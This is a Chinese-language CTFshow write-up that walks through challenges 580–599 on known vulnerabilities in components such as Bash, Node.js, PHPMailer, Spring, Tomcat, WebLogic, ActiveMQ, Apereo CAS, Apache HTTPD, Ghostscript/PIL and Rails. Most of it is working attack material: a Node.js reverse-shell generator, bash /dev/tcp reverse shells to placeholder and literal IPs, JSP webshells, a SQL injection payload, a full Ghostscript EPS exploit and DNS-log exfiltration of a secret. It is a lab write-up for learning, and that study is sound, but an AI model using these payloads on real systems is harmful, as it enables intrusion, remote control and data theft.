CTFshow——组件漏洞

前言:

组件漏洞最大的收获应该就是锻炼自己复现漏洞的能力吧2333,其次就是网上搜索漏洞的能力,很多组件都还没接触过,只得照着网上的分析来复现了

文章目录

      • 前言:
      • 580——Bash远程代码执行漏洞“破壳”(CVE-2014-6271)
      • 581——yaml_parse()
      • 582——nodejs反序列化
      • 583——phpmailer组件
      • 584——Spring组件(CVE-2017-8046)
      • 585——Apache Tomcat(CVE-2017-12615)
      • 586——WordPress插件
      • 587——weblogic XMLDecoder反序列化(CVE-2017-10271)
      • 588——weblogic 任意文件上传(CVE-2018-2894)
      • 589——ActiveMQ任意文件写入(CVE-2016-3088)
      • 590——Apereo CAS 4.1反序列化RCE
      • 591——Apache HTTPD换行解析漏洞
      • 592——Apache HTTPD多后缀解析漏洞
      • 593——Apache2 SSI远程命令执行漏洞
      • 594——Laravel Debug mode RCE(CVE-2021-3129)
      • 595——PHP zerodium后门漏洞
      • 596——Python PIL 远程命令执行漏洞(CVE-2017-8291)
      • 597、598——Rails目录穿越,任意文件读取(CVE-2018-3760、CVE-2019-5418)
      • 599——Ruby NetFTP 模块命令注入(CVE-2017-17405)

580——Bash远程代码执行漏洞“破壳”(CVE-2014-6271)

Bash远程代码执行漏洞“破壳”(CVE-2014-6271)分析
在请求头中加入以下Payload:

x: () { :; }; echo; /bin/cat /f*

CTFshow——组件漏洞_第1张图片

581——yaml_parse()

关于yaml_parse()官方文档有一段警告:
CTFshow——组件漏洞_第2张图片

Notes 
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting. 
警告:如果为使用 !php/object 标记的节点启用了unserialize(),则使用yamlparse()处理不可信用户输入是非常危险的。这种行为可以通过使用yaml.decodephp ini设置来禁用。

所以在开头部分使用!php/object就会造成后面字符串的反序列化

!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"$_POST[1]);?>";}

582——nodejs反序列化

起因是服务器对cookie中的user就行了反序列化,而cookie可控,因此产生了反序列化的问题
nodejs反序列化漏洞

用这个反弹shell的脚本生成一个payload:

#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
if len(sys.argv) != 3:
    print ("Usage: %s  " % (sys.argv[0]))
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]

def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print ("[+] LHOST = %s" % (IP_ADDR))
print ("[+] LPORT = %s" % (PORT))
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print ("[+] Encoding")
PAYLOAD = charencode(NODEJS_REV_SHELL)
print ("eval(String.fromCharCode(%s))" % (PAYLOAD))

CTFshow——组件漏洞_第3张图片
将生成的payload替换下面的YOU-PAYLOAD

{"username":"_$$ND_FUNC$$_function (){YOUR-PAYLOAD}()"}

最后将cookie的user值替换成上面的即可

583——phpmailer组件

phpmailer RCE漏洞分析
一个邮件系统 ,有好一些漏洞,比如:CVE-2016-10033
直接看EXP打了,执行下面的EXP会生成含有一句话的a.php

name=a&email="aaa". -OQueueDirectory=/tmp/. -X/var/www/html/a.php @qq.com&message=<?php eval($_POST[1]);?>

584——Spring组件(CVE-2017-8046)

这题看到后感觉信息量有点少…Spring Data Rest RCE案例分析(CVE-2017-8046)

bit师傅yyds!照着师傅的WP复现了一下

首先就是访问/api/people,在这个页面POST发送一个JSON格式的请求…这个请求后就会创建一个用户,且能得到一个ID
CTFshow——组件漏洞_第4张图片
访问api/people/5。抓包并修改请求为PATCH,修改content-type,修改JSON内容
利用下面的脚本会生成一堆数字,其中YOUR-IP就是bash -i >& /dev/tcp/IP/PORT 0>&1的bash64编码

payload = b'bash -c {echo,YOUR-IP}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

生成的数字带入下面即可反弹shell

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{生成的数字}))/lastname", "value": "whatever" }]

CTFshow——组件漏洞_第5张图片

585——Apache Tomcat(CVE-2017-12615)

漏洞复现|CVE-2017-12615远程代码执行(内附POC)
该漏洞可以利用PUT方法进行文件上传从而远程代码执行

漏洞利用方法:
通过在文件名的扩展名后面附加/字符,可以绕过文件扩展名检查。

文件内容写入JSP一句话木马

<%
if("023".equals(request.getParameter("pwd"))){
	java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("
");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
 	}
	out.print("
"
); } %>

CTFshow——组件漏洞_第6张图片
上传成功后访问:

/ppp.jsp?pwd=023&i=cat /flag

586——WordPress插件

WordPress Plugin Double Opt-In for Download 2.0.9 - SQL Injection
题目中也说了是SQL注入,注入点在id

public function populate_download_edit_form() {

    global $wpdb; // this is how you get access to the database

    if( isset( $_POST[ 'id' ] ) ) {

        $value = $_POST[ 'id' ];

        $download = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}doifd_lab_downloads WHERE doifd_download_id = $value", ARRAY_A );
    }
    echo json_encode( $download );
    die(); // this is required to terminate immediately and return a proper response
}

Payload:

/wp-admin/admin-ajax.php?action=populate_download_edit_form

id=0 union select 1,2,3,4,5,6,load_file(0x2f666c61675f69735f68657265)-- -

587——weblogic XMLDecoder反序列化(CVE-2017-10271)

(CVE-2017-10271)weblogic XMLDecoder反序列化漏洞复现过程
这题一开始搜网页前面的内容基本是CVE-2019-2725的漏洞,然后就一开始找错方向了…

这题实际是CVE-2017-10271

访问/wls-wsat/CoordinatorPortType,得到下图即可验证存在漏洞CTFshow——组件漏洞_第7张图片
利用反弹shell:
CTFshow——组件漏洞_第8张图片

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/IP/PORT 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

588——weblogic 任意文件上传(CVE-2018-2894)

Weblogic任意文件上传漏洞(CVE-2018-2894)复现
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

1、访问/ws_utc/config.do,将工作目录改成/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
CTFshow——组件漏洞_第9张图片
2、直接上传webshell文件
CTFshow——组件漏洞_第10张图片
上传的时候要抓包,因为需要时间戳信息,这个时间戳要响应包的而不是请求包的
CTFshow——组件漏洞_第11张图片

上传成功后文件会生成在:/ws_utc/css/config/keystore/[时间戳]_[文件名]

访问一下webshell即可

/ws_utc/css/config/keystore/1628762157937_ma.jsp?i=cat ../../../flag

589——ActiveMQ任意文件写入(CVE-2016-3088)

ActiveMQ任意文件写入漏洞
访问/admin/test/systemProperties.jspadmin:admin的账密登陆,登陆后可知ActiveMQ的绝对路径activemq.home/opt/activemq

以下数据包用于生成含webshell的1.txt

PUT /fileserver/1.txt HTTP/1.1
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); } %>

返回204则执行成功
以下数据包用于移动/fileserver/1.txt/opt/activemq/webapps/api/shell.jsp

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

然后访问/api/shell.jsp?i=cat /root/flag即可得到flag

590——Apereo CAS 4.1反序列化RCE

Apereo CAS 4.1反序列化RCE漏洞复现
漏洞原理实际上是Webflow中使用了默认密钥changeit:

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    // ...

我们使用Apereo-CAS-Attack来复现这个漏洞。下载地址:https://github.com/vulhub/Apereo-CAS-Attack/releases

然后使用反弹shell的payload:网站
CTFshow——组件漏洞_第12张图片
编译一下得到最后的payload

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}

CTFshow——组件漏洞_第13张图片抓登陆的包,然后将上门生成的替换到execution的值,放包就会反弹shell了
CTFshow——组件漏洞_第14张图片

591——Apache HTTPD换行解析漏洞

Apache HTTPD的2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

源码如下,黑名单的设置使用in_array,不安全

<?php
if(isset($_FILES['file'])) {
   $name = basename($_POST['name']);
   $ext = pathinfo($name,PATHINFO_EXTENSION);
   if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
     exit('bad file');
   }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
       
.......

注意:这里如果使用$_FILES['file']['name']就不会造成换行的漏洞,因为$_FILES['file']['name']会自动把换行去掉

利用:上传webshell,同时紧随在文件名后面插入一个\x0a换行符,右键找到Insert byte然后修改成0a即可
CTFshow——组件漏洞_第15张图片

592——Apache HTTPD多后缀解析漏洞

题目中这个文件的设置导致了问题产生

/etc/apache2/conf-available/docker-php.conf

他的配置是使用AddHandler的,那么只要后缀含有.php,那么就会被解析成php文件

AddHandler application/x-httpd-php .php                                                        

它和SetHandler的区别在于SetHandler是使用正则进行匹配的,而AddHandler是通过关键字匹配

比如,如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html,给.cn后缀增加了语言,值为zh-CN
此时,如果用户请求文件index.cn.html,他将返回一个中文html页面

利用:
CTFshow——组件漏洞_第16张图片
访问2.php.jpg发现能够正常解析php

593——Apache2 SSI远程命令执行漏洞

Apache SSI 远程命令执行漏洞(SSI注入漏洞)
SSI(server-side includes)提供了一种对现有HTML文档增加动态内容的方法,即在html中加入动态内容。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意命令。
利用:

上传1.shtml,内容是我们要执行的命令

<!--#exec cmd="ls /" -->

594——Laravel Debug mode RCE(CVE-2021-3129)

这题照着网上的帖子但一直没复现出来,先略过

595——PHP zerodium后门漏洞

前段时间的后门,版本影响:PHP 8.1.0-dev

利用:在请求头中加上User-Agentt

User-Agentt: zerodiumsystem('cat /f*');

596——Python PIL 远程命令执行漏洞(CVE-2017-8291)

下面代码保存为png格式上传即可,倒数第七行的touch /tmp/aaaaa就是要执行的命令,上传以后就会触发

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

改成反弹shell的命令

(%pipe%bash -c "bash -i>& /dev/tcp/119.1.1.1/9999 0>&1")

597、598——Rails目录穿越,任意文件读取(CVE-2018-3760、CVE-2019-5418)

RUBY ON RAILS 路径穿越与任意文件读取漏洞(CVE-2018-3760、CVE-2019-5418)

1、在assets目录进行文件读取file:///etc/passwd,进行一次url编码,file:%2f%2f/etc/passwd
CTFshow——组件漏洞_第17张图片

2、会报错,选择保存信息中的一个目录,例如/usr/src/blog/app/assets/images/,拼接成:/assets/file:%2F%2F/usr/src/blog/app/assets/images/../etc/passwd,然后对..要二次编码成%252e,最后变成/assets/file:%2F%2F/usr/src/blog/app/assets/images/%252e%252e/etc/passwd,回显发现是被解析成../
CTFshow——组件漏洞_第18张图片
最后找flag即可

/assets/file:%2F%2F/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag

598就是CVE-2019-5418了,如图:

修改Accept头为	../../../../../../../../etc/passwd{{

CTFshow——组件漏洞_第19张图片

599——Ruby NetFTP 模块命令注入(CVE-2017-17405)

Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)
文章中的反弹shell没成功,外带一些数据也是可以的。借用bit师傅的payload,使用DNSLOG外带,且flag在$FLAG中

/download?uri=ftp://119.29.60.71:2121/&file=|ping${IFS}$FLAG.fxu89a.dnslog.cn${IFS}-c${IFS}4

CTFshow——组件漏洞_第20张图片

ping `ls|head -n 11|sed ":a;N;s/\n/./g;ta"`.z83djy.dnslog.cn

你可能感兴趣的:(组件漏洞)